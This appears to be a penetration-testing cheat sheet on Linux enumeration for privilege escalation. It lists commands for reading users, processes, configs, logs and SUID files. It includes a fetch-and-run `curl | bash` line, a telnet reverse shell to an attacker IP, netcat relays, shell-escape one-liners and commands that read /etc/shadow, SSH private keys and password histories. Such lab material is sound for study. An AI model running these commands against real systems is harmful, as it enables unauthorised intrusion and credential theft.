# Unix Enum ### Enumeration * Enumerate users and groups * [ ] List local users * [ ] List local groups * [ ] Currently logged on users * [ ] Last logins * [ ] Check membership of interesting groups * [ ] `wheel` * [ ] `docker` * [ ] `shadow` * [ ] `lxc` and `lxd` * [ ] `disk` * [ ] `adm` * Enumerate operating system information * [ ] Linux distribution * [ ] Kernel Version * [ ] Architecture (32 or 64 bit) * [ ] Is it AD domain joined? * Enumerate network information * [ ] IP addresses and network interfaces * [ ] List active connections and listening ports * Enumerate program and processes information {% hint style="success" %} Hack Responsibly. Always ensure you have **explicit** permission to access any computer system **before** using any of the techniques contained in these documents. You accept full responsibility for your actions by applying any knowledge gained here. {% endhint %} ### Filesystem Enumeration #### Find all files a specific user has access to: ```bash find / -user $username -ls 2>/dev/null ``` #### Find all files a specific group has access to: ```bash find / -group $groupname -ls 2>/dev/null ``` #### Search bash history for passwords (pwd search) ```bash find . -name .bash_history -exec grep -A 1 '^passwd' {} \; ``` #### Search filesystem by name pattern ```bash find / -name "$pattern" 2>/dev/null ``` #### Search files in whole filesystem for a string (case insensitive) ```bash grep -ri "$string" / 2>/dev/null ``` #### Check for useful installed programs * only displays the ones currently installed ```bash which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null ``` #### Find UID 0 files (root execution) ```bash /usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \\\\; 2>/dev/null ``` #### Find executable files updated in August ```bash find / -executable -type f 2> /dev/null | egrep -v "^/bin|^/var|^/etc|^/usr" | xargs ls -lh | grep Aug ``` #### Find a specific file ```bash find /. -name suid\\\*\\ ``` #### Find symlinked files ```bash find -L / -samefile $file ``` #### Display all the strings in a file ```bash strings $file ``` #### Determine the type of a file ```bash file $file ``` #### Find deleted (unlinked) files ```shellscript lsof +L1 ``` #### Read extended attributes of a file ```shellscript lsattr $file ``` Normally, using this command on a directory will cause it to list the attributes of the files inside that directory. However, you can force `lsattr` to treat a directory as a file and produce file attribute information for it by using the `-d` command line option. ```shellscript lsattr -d /home/user ``` #### Change attributes of a file ```shellscript chattr $file ``` > The format of a symbolic mode is `+-=[aAcCdDeijsStTu]` > > The operator `'+'` causes the selected attributes to be added to the existing attributes of the files; `'-'` causes them to be removed; and `'='` causes them to be the only attributes that the files have. > > The letters `'aAcCdDeijsStTu'` select the new attributes for the files: append only (a), no atime updates (A), compressed (c), no copy-on-write (C), no dump (d), synchronous directory updates (D), extent format (e), immutable (i), data journalling (j), secure deletion (s), synchronous updates (S), no tail-merging (t), top of directory hierarchy (T), and undeletable (u). > > The following attributes are read-only and may be listed by `lsattr` but not modified by `chattr`: compression error (E), huge file (h), indexed directory (I), inline data (N), compression raw access (X), and compressed dirty file (Z). > > Not all flags are supported or utilized by all filesystems; refer to filesystem-specific man pages such as btrfs, ext4, and xfs for more filesystem-specific details. ### Process Enumeration ### ps ```bash # To list every process on the system: ps aux # To list a process tree ps axjf # To list every process owned by $user: ps -au$user # To list every process with a user-defined format: ps -eo pid,user,command # List the processes being run by a particular set of usernames ps -f -u username1, username2, .... ,usernameN # Display a list of processes with a particular parent ID (5589) # Note that when a process is launched it may spawn several other sub processes which all share a common parent process ID ps -f -ppid 5589 # List processes with given PIDs ps -f -p 25001, 4567, 789 # Display all processes owned by the current user ps -U $USER # Sort processes based on CPU and memory usage (useful for finding memory leaks) ps aux --sort pmem ``` #### Pspy * You can run `pspy --help` to learn about the flags and their meaning. The summary is as follows: * `-p`: enables printing commands to stdout (enabled by default) * `-f`: enables printing file system events to stdout (disabled by default) * `-r`: list of directories to watch with Inotify. pspy will watch all subdirectories recursively (by default, watches /usr, /tmp, /etc, /home, /var, and /opt). * `-d`: list of directories to watch with Inotify. pspy will watch these directories only, not the subdirectories (empty by default). * `-i`: interval in milliseconds between procfs scans. pspy scans regularly for new processes regardless of Inotify events, just in case some events are not received. * `-c`: print commands in different colors. File system events are not colored anymore, commands have different colors based on process UID. * `--debug`: prints verbose error messages which are otherwise hidden. The default settings should be fine for most applications. Watching files inside `/usr` is most important since many tools will access libraries inside it. Some more complex examples: ```bash # print both commands and file system events and scan procfs every 1000 ms (=1sec) ./pspy64 -pf -i 1000 # place watchers recursively in two directories and non-recursively into a third ./pspy64 -r /path/to/first/recursive/dir -r /path/to/second/recursive/dir -d /path/to/the/non-recursive/dir # disable printing discovered commands but enable file system events ./pspy64 -p=false -f ``` #### /proc enumerate info about current processes running from: `/proc/self/status` `ps -U root -u root ux` View all processes started by a certain user (`root` in this case) ### Simple enumeration script ```bash #!/bin/sh echo [+] Distribution and kernel version cat /etc/issue uname -a echo [+] Mounted filesystems mount -l echo [+] Network configuration ip -a cat /etc/hosts arp echo [+] Development tools availability which gcc which g++ which python which python3 echo [+] Installed packages (Debian systems only) dpkg -l echo [+] Services netstat -tulnpe echo [+] Processes ps -aux echo [+] Scheduled jobs find /etc/cron* -ls 2>/dev/null find /var/spool/cron* -ls 2>/dev/null echo [+] Readable files in /etc  find /etc -user `id -u` -perm -u=r \ -o -group `id -g` -perm -g=r \ -o -perm -o=r \ -ls 2>/dev/null  echo [+] SUID and GUID writable files find / -o -group `id -g` -perm -g=w -perm -u=s \ -o -perm -o=w -perm -u=s \ -o -perm -o=w -perm -g=s \ -ls 2>/dev/null  echo [+] SUID and GUID files find / -type f -perm -u=s -o -type f -perm -g=s \ -ls 2>/dev/null echo [+] Writable files outside HOME mount -l find / -path “$HOME” -prune -o -path “/proc” -prune -o \( ! -type l \) \( -user `id -u` -perm -u=w  -o -group `id -g` -perm -g=w  -o -perm -o=w \) -ls 2>/dev/null ``` ### Misc [Linux Privilege Checker](https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py) full linux enumeration: * [LinEnum.sh](https://github.com/rebootuser/LinEnum) * [LinPEAS.sh](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) Download **and** execute script (such as LinEnum.sh) \[from remote host]: `curl $url/LinEnum.sh | bash` Locate exploits: ```bash searchsploit $keyword #to pull exploit code: searchsploit -x $exploit_num ``` enumeration multi-tool: [Sparta](https://sparta.secforce.com/) (does nmap, hydra, nikto, sqlscan, ssl...) Semi-automated enumeration all-in-one (use this!): [nmapAutomator](https://github.com/21y4d/nmapAutomator) Unix hardening tool that can be used for enumeration: [Bastille](http://bastille-linux.sourceforge.net/) #### Operating System What's the distribution type? What version? ```bash cat /etc/issue cat /etc/*-release cat /etc/lsb-release cat /etc/redhat-release ``` What's the Kernel version? Is it 32 or 64-bit? ```bash cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz- ``` What can be learnt from the environmental variables? ```shellscript cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set ``` Is there a printer? ```shellscript lpstat -a ``` #### Applications & Services What services are running? Which service has which user privilege? ```shellscript ps aux ps -ef top cat /etc/service ``` Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check! ```shellscript ps aux | grep root ps -ef | grep root ``` What applications are installed? What version are they? Are they currently running? ```shellscript ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/ ``` Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached? ```shellscript cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk '$1 ~ /^.*r.*/ ``` What jobs are scheduled? ```shellscript crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root ``` Any plain text usernames and/or passwords? ```shellscript grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla ``` #### Communications & Networking What NIC(s) does the system have? Is it connected to another network? ```shellscript /sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network ``` What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway? ```shellscript cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname ``` What other users & hosts are communicating with the system? ```shellscript lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w ``` What's cached? IP and/or MAC addresses ```shellscript arp -e route /sbin/route -nee ``` Is packet sniffing possible? What can be seen? Listen to live traffic ```shellscript # tcpdump tcp dst [ip] [port] and tcp dst [ip] [port] tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21 ``` Have you got a shell? Can you interact with the system? * ```shellscript nc -lvp 4444 # Attacker. Input (Commands) nc -lvp 4445 # Attacker. Ouput (Results) telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP! ``` Is port forwarding possible? Redirect and interact with traffic from another view * rinetd - * fpipe ```shellscript # FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP] FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 ``` * SSH ```shellscript # ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip] ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port ``` * mknod backpipe ```shellscript # mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080) mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080) ``` Is tunneling possible? Send commands from local machine to remote ```shellscript ssh -D 127.0.0.1:9050 -N $username@$ip proxychains ifconfig ``` #### Confidential Information & Users Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what? ```bash id who w last cat /etc/passwd | cut -d: # List of users grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users awk -F: '($3 == "0") {print}' /etc/passwd # List of super users cat /etc/sudoers sudo -l ``` What sensitive files can be read? ```bash cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/ #bsd cat /etc/master.passwd #is where password hashes are stored in BSD, not /etc/shadow ``` Anything "interesting" in the home directory(s)? If it's possible to access ```shellscript ls -ahlR /root/ ls -ahlR /home/ ``` Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords ```shellscript cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg ``` What has the user been doing? Are there any passwords in plain text? What have they been editing? ```bash ls -la ~ cat ~/.bash_history #check for other shells as well (zsh, etc.) cat ~/.nano_history #check for other exitors as well (vim, etc.) cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history ``` What user information can be found? ```bash cat ~/.bashrc # check for other shells as well (zsh, etc.) cat ~/.profile cat /var/mail/root cat /var/spool/mail/root ``` Can private-key information be found? ```shellscript ls -la ~/.ssh ls -la /etc/ssh cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key ``` #### File Systems Which configuration files can be written in `/etc`? Are you able to reconfigure services? ```bash ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other find /etc/ -readable -type f 2>/dev/null # Anyone find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone ``` What can be found in `/var` ? ```shellscript ls -alh /var/log ls -alh /var/mail ls -alh /var/spool ls -alh /var/spool/lpd ls -alh /var/lib/pgsql ls -alh /var/lib/mysql cat /var/lib/dhcp3/dhclient.leases ``` Any settings/files related to web server? Any settings file with database information? ```shellscript ls -alhR /var/www/ ls -alhR /srv/www/htdocs/ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ ls -alhR /var/www/html/ ``` Is there anything in the log file(s) (Could help with "Local File Includes"!) * ```shellscript cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/ # auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp ``` If commands are limited, can you break out of the "jail" shell? ```shellscript python -c 'import pty;pty.spawn("/bin/bash")' echo os.system('/bin/bash') /bin/sh -i ``` How are file-systems mounted? ```shellscript mount df -h ``` Are there any unmounted file-systems? ```shellscript cat /etc/fstab ``` What "Advanced Linux File Permissions" are used? "Sticky bit", SUID, GUID ```bash find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it. find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it. find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search) # find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied) find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null ``` Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm ```bash find / -writable -type d 2>/dev/null # world-writeable folders find / -perm -222 -type d 2>/dev/null # world-writeable folders find / -perm -o+w -type d 2>/dev/null # world-writeable folders find / -perm -o+x -type d 2>/dev/null # world-executable folders find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null # world-writeable & executable folders ``` Any "problem" files? Word-writeable, "nobody" files ```bash find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files find /dir -xdev \( -nouser -o -nogroup \) -print # No-owner files ``` #### Preparation for Writing Exploit Code What development tools/languages are installed/supported? ```shellscript find / -name perl* find / -name python* find / -name gcc* find / -name cc ``` How can files be transferred? ``` find / -name wget find / -name curl find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp ``` **Researching Vulnerabilities** * * [http://packetstormsecurity.org/files/cve/\[CVE\\](http://packetstormsecurity.org/files/cve/\[CVE/)] * ] * ] **Finding exploit code** * * * * * * * * * ### References *